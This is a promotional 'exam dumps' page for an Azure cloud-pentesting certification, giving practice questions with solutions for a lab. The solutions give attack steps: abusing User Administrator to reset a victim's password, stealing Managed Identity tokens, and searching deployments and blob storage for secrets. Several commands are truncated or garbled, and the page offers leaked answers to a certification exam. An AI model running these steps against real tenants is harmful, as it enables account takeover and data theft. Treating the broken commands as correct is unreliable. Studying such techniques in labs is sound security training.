CCPenX-Az Dumps V8.02 2026: The SecOps Group Certification Preparation with the Latest Study Materials

You can pass the Certified Cloud Pentesting eXpert – Azure (CCPenX-Az) certification to get an excellent opportunity by learning the DumpsBase’s CCPenX-Az dumps V8.02. It will validate your expertise and strengthen your position in today’s competitive technology landscape. We designed 31 practice questions in V8.02 to reflect current exam objectives and industry requirements.

Understanding the Certified Cloud Pentesting eXpert – Azure (CCPenX-Az)

The Certified Cloud Pentesting eXpert – Azure (CCPenX-Az) is an expert-level, 100% hands-on certification program developed by The SecOps Group. Spanning a rigorous 7-hour live CTF-style lab environment, this exam is specifically designed for cloud security engineers, penetration testers, and red teamers. It rigorously evaluates your ability to perform reconnaissance, abuse Microsoft Entra ID (formerly Azure AD) configurations, leverage permissive IAM roles, hijack Managed Identities, and pivot laterally across compromised Azure subscriptions to simulate advanced, real-world cloud cyber-attacks.

How to prepare for this certification well? Instead of spending countless hours searching through multiple resources, you can focus on targeted learning using verified CCPenX-Az practice questions, realistic exam scenarios, and structured study materials. DumpsBase has become a trusted name for CCPenX-Az exam candidates because it offers the latest CCPenX-Az exam dumps that help maximize study efficiency and exam success rates.

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1. Using the previously gained access to the Azure environment, extract an access token from the Web App’s environment and use it to impersonate its Managed Identity.

Which of the following roles is assigned to the Web App’s Security Principal?

Compute-Instance-Inspector

VM-Metadata-Reader

Storage-Metadata-Reader

AppService-Auditor

2. While exploring the table storage, you’ve uncovered information that provides limited access to a storage account. Using this access, enumerate the blob containers.

Which of the following containers is available?

private-data

confidential-store

sensitive-files

secure-dumps

3. SIMULATION

Using the Azure access of the second compromised user, perform lateral movement within the environment to discover sensitive information.

What is the flag uncovered during this activity?

The answer is the flag found after compromising the target user and enumerating her accessible Azure resources, usually storage/table data.
Detailed Solution:
Since the second compromised user is a User Administrator, abuse that role to reset the password of the target user.
az ad user update
--id [email protected]
--password 'NewP@ssw0rd12345!'
--force-change-password-next-sign-in false
Now authenticate as the target user.
az login -u [email protected] -p 'NewP@ssw0rd12345!'
Confirm the login context:
az account show
Check what Azure resources this user can see:
az resource list --output table
Check role assignments:
az role assignment list --all --output table
If the user has storage data-plane permissions, enumerate storage accounts:
az storage account list --output table
If the storage account is known from the lab chain, use it directly:
az storage table list
--account-name excaliburstore
--auth-mode login
--output table
Query each table:
az storage entity query
--account-name excaliburstore
--table-name <table-name>
--auth-mode login
--output json
A faster method:
for table in $(az storage table list --account-name excaliburstore --auth-mode login --query "[].name" -o tsv); do echo "az storage entity query
--account-name excaliburstore
--table-name "$table"
--auth-mode login
--output table done
Search the output for:
Flag
SAS
token container storage secret
The flag discovered in this stage is the Q7 answer.
Final Answer
Use the Flag{...} value returned from the accessible table/storage data after logging in as [email protected].

4. SIMULATION

ExcaliburCorp has recently migrated part of its infrastructure to Microsoft Azure. Shortly after the migration, the company suffered a security breach resulting in the exposure of sensitive internal dat a. Their investigation revealed that the attack originated from a disgruntled developer who has since disappeared. To assess and mitigate further risks, ExcaliburCorp has granted you access to a replica Azure environment with the same permissions the developer had at the time of the incident. Your task is to simulate the attacker’s actions, uncover the full extent of the compromise, and identify vulnerable configurations or services that enabled the breach.

Using the provided Azure login credentials, perform OSINT and reconnaissance to identify the Azure Active Directory/AAD Tenant ID associated with the environment.

f015f36d-c07f-41fb-9bde-fffc3a22ee8b
Detailed Solution:
Log in using the supplied breached Azure account.
az login -u [email protected] -p 'pg: Lr{k102l(fh7!' After successful authentication, check the active Azure subscription context. az account show
The important fields are:
{
"id": "7403ec86-c39d-4d80-9efa-35c7580ecefa" , "name": "Azure subscription 1" , "tenantDefaultDomain": "azuresecops.onmicrosoft.com" , "tenantDisplayName": "ExcaliburCorp" , "tenantId": "f015f36d-c07f-41fb-9bde-fffc3a22ee8b"
}
The AAD / Microsoft Entra tenant ID is the tenantId.
Final Answer
f015f36d-c07f-41fb-9bde-fffc3a22ee8b

5. SIMULATION

You’ve discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory.

What is the Job Title attribute of the compromised target user?

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list
--query "[].{DisplayName: displayName, UPN: userPrincipalName, JobTitle: jobTitle}"
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
[email protected]
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user’s password and later authenticate as her.
Final Answer
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

6. SIMULATION

You’ve gained access to the Azure environment, now dig deeper. One of the accessible resources contains a hidden flag.

Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}
Detailed Solution:
Start by listing all Azure resources accessible to the compromised user.
az resource list --output table
The environment exposes at least these resources:
RnD-Tools Excalibur-Resources ukwest Microsoft.Web/sites
WebAppTokenIdentity Excalibur-Resources ukwest Microsoft.ManagedIdentity/userAssignedIdentities
The most interesting target is the App Service:
RnD-Tools
Web Apps often store configuration values in App Settings. These commonly contain secrets, flags, API keys, connection strings, or credentials.
Query the App Service application settings:
az webapp config appsettings list
--name RnD-Tools
--resource-group Excalibur-Resources
--output json
Look for keys such as:
Flag secret password token connectionString clientSecret
The exposed app setting contains:
{
"name": "Flag" , "slotSetting": false , "value": "Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}"
}
Final Answer
Flag{a92f7e0c3c4b9d88a1f54e6723d4c1a2}

7. Using the previously retrieved credentials, authenticate as the App Registration within the tenant and enumerate potential lateral movement vectors.

Which of the following roles is assigned to the App Registration?

Key Vault Secrets User

Cosmos DB Built-in Data Reader

Container Apps Reader Role

None of the above

8. SIMULATION

Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant.

What is the Application/Client ID of the discovered App Registration?

The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list
--account-name excaliburstore
--container-name sensitive-files
--sas-token "$SAS"
--query "[].name"
--output table
Download all files locally:
mkdir blobloot az storage blob download-batch
--account-name excaliburstore
--source sensitive-files
--destination blobloot
--sas-token "$SAS"
Search the downloaded files for application credentials:
grep -RniE "clientId|appId|applicationId|clientSecret|tenantId|secret|password" blobloot
On Windows PowerShell:
Select-String -Path .blobloot* -Pattern
"clientId|appId|applicationId|clientSecret|tenantId|secret|password" -CaseSensitive:$false
A typical file may look like this:
{
"tenantId": "f015f36d-c07f-41fb-9bde-fffc3a22ee8b" , "clientId": "<application-client-id>" , "clientSecret": "<application-client-secret>"
}
The clientId / appId value is the answer.
Final Answer
Use the clientId / appId value found in the blob credential file.

9. SIMULATION

With access to the Web App’s Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning.

What is the secret?

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration .
In this lab chain, it should reveal the next user credential, commonly for:
[email protected]
Detailed Solution:
The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity.
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl "$IDENTITY_ENDPOINT?api-version-H "X-IDENTITY-HEADER: $IDENTITY_HEADER"
For Windows PowerShell inside Kudu:
$uri $response }
$token Now use the token to query Azure Resource Manager. $sub Invoke-RestMethod `
-Uri "https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version-Headers @{ Authorization Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri
"https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso urces/deployments?api-version -Headers @{ Authorization For each deployment name returned, inspect it:
$deploymentName Invoke-RestMethod `
-Uri
"https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso urces/deployments/$deploymentName?api-version-Headers @{ Authorization Also check deployment operations:
Invoke-RestMethod `
-Uri
"https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Reso urces/deployments/$deploymentName/operations?api-version-Headers @{ Authorization Search the output for fields like:
password secret adminPassword userPassword credential sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be: curl -s -H "Authorization: Bearer $TOKEN"
"https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-
35c7580ecefa/resourceGroups/Excalibur-
Resources/providers/Microsoft.Resources/deployments/<deployment-name>/operations?api-
version | jq '.. | strings' | grep -iE 'password|secret|credential|sumit|flag'
Final Answer
Use the leaked secret/password value returned from the deployment metadat a. Do not guess this; it is lab-generated.

10. You’ve uncovered valid credentials for another user in the previous step. Authenticate as this user and investigate their level of access within the Azure environment.

Which of the following Microsoft Entra ID roles is assigned to this user?

Password Administrator

User Administrator

Helpdesk Administrator

Groups Administrator

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